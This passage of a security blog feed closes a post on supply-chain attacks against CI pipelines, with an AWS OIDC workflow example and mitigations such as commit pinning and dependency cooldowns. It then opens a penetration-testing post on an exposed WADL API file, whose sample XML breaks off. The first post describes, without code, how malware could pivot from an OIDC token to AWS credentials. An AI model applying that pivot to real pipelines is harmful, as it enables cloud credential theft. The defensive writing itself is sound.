&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;AWS example workflow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;id-token&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;write&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;S3PackageUpload&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Git clone the repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/checkout@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;configure aws credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;aws-actions/configure-aws-credentials@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#75715e&#34;&gt;# this value is unique in every environment&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;role-to-assume&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;arn:aws:iam::000012345789:role/s3-publish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;role-session-name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;githubworkflow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;aws-region&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;us-east-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Copy index.html to s3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          aws s3 cp ./index.html s3://my_bucket/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this context, a piece of malware could not immediately pivot to exchanging the OIDC token for AWS credentials without first discovering the role ARN. This should not be treated as a security control by any means, but it is a notable quirk worth calling out. Unfortunately, this quirk nets you nothing for public package providers. PyPI, Crates.io, and other similar platforms operate like NPM does. Further, this information could also be exposed depending on how a pipeline is built. If a repository is checked out during the exploited job, this information could be enumerated from the on-disk pipeline file. Alternatively, it is relatively common to expose this information as environment variables.&lt;/p&gt;
&lt;p&gt;As an aside, it is interesting to note that GitHub&amp;rsquo;s example exposes the OIDC token to all jobs by configuring it at the root of the Action manifest. This is fine in the context of this specific example, but the documentation itself does not include any warnings about this. The AWS &lt;a href=&#34;https://aws.amazon.com/blogs/security/use-iam-roles-to-connect-github-actions-to-actions-in-aws/&#34; target=&#34;_blank&#34;&gt;blog post&lt;/a&gt; on this topic does the same. As mentioned above, the same is true for NPM&amp;rsquo;s own &lt;a href=&#34;https://docs.npmjs.com/trusted-publishers&#34; target=&#34;_blank&#34;&gt;documentation&lt;/a&gt;, and their examples are fully exploitable out-of-the-box.&lt;/p&gt;
&lt;h1 id=&#34;gold-standard-protections&#34;&gt;Gold Standard Protections&lt;/h1&gt;
&lt;p&gt;While this is certainly useful, it is not the most significant means of mitigating supply chain attacks. Discussing these in detail is outside the scope of this post, but as a brief recap there are two primary controls every organization should adopt.&lt;/p&gt;
&lt;p&gt;First, all package dependencies should avoid version tags. Generally speaking, tags are mutable, and this is exactly what this class of attacks take advantage of. That safe v2.3.1 package you installed last week may be overwritten with malware next week. Instead, dependencies should rely on commit hash pinning. Commit hashes are immutable; they cannot be overwritten. All modern package management systems allow for lock files to be generated against commit hashes. This should also be used for reusable workflows. For example, the AWS role assumption workflow referenced above could be rewritten as: &lt;code&gt;aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Second, package managers should be configured with a dependency cooldown. This control again emerges from observing the smash-and-grab nature of these campaigns. Malicious packages are published with little regard for stealth, and because of this, are quickly detected and taken down. These packages may be alive for a few hours, or even a few minutes. Dependency cooldown is a configuration that tells a package manager to ignore packages that have been published within a given window.&lt;/p&gt;
&lt;p&gt;There are nuances to this, such as GitHub&amp;rsquo;s immutable releases which allows you to safely rely on known-safe version tags. Or configuring internal artifact registries that upstream public registries. There are also framework-specific protections you can enable, such as disabling lifecycle scripts during &lt;code&gt;npm&lt;/code&gt; execution using the &lt;code&gt;--ignore-scripts&lt;/code&gt; flag.&lt;/p&gt;
&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;It is important to again stress that this mitigation is tailored to modern adversarial campaigns. This is a mitigation against direct credential exfiltration from payloads that trigger during the build stage. A sophisticated attacker could cause malicious code to trigger during deployment, or even post-deployment when the package is live within the environment. This is particularly notable when dealing with dependency confusion attacks, a far more targeted class of supply chain attacks. But again: security is best implemented in layers.&lt;/p&gt;
&lt;p&gt;If you have not already configured your organization&amp;rsquo;s environment with commit hash pinning and dependency cooldown, go do that now. Right now. But security is best implemented in layers. If you&amp;rsquo;ve already got this wrangled, it&amp;rsquo;s worth looking into isolating the build phases of your pipelines. This won&amp;rsquo;t do anything to prevent developers themselves from pulling a malicious packages, but pipelines are what have significant environment access. A compromised publish pipeline functionally has administrator rights within production environments. And while these campaigns have largely acted as worms, there is nothing stopping them from advancing their capabilities and broadening their post-compromise target list.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>The WADLer: WADL I do with these files?</title>
      <link>https://labs.sra.io/posts/wadler/</link>
      <pubDate>Tue, 23 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/wadler/</guid>
      <description>&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;On a recent external engagement I discovered an API with an exposed &lt;code&gt;application.wadl&lt;/code&gt; file while digging through &lt;a href=&#34;https://github.com/projectdiscovery/nuclei&#34; target=&#34;_blank&#34;&gt;Nuclei&lt;/a&gt; results. The file contained definitions for over 150 API endpoints, more than I could easily test by hand.&lt;/p&gt;
&lt;p&gt;Web Application Description Language (WADL) files contain XML definitions for REST APIs. They&amp;rsquo;re similar to OpenAPI JSON files, WSDL files, and other API definition files.&lt;/p&gt;
&lt;p&gt;An example WADL file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;application&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://wadl.dev.java.net/2009/02&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resources&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;base=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:8000/&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users/{id}&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PUT&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;template&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;int&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DELETE&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;int&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
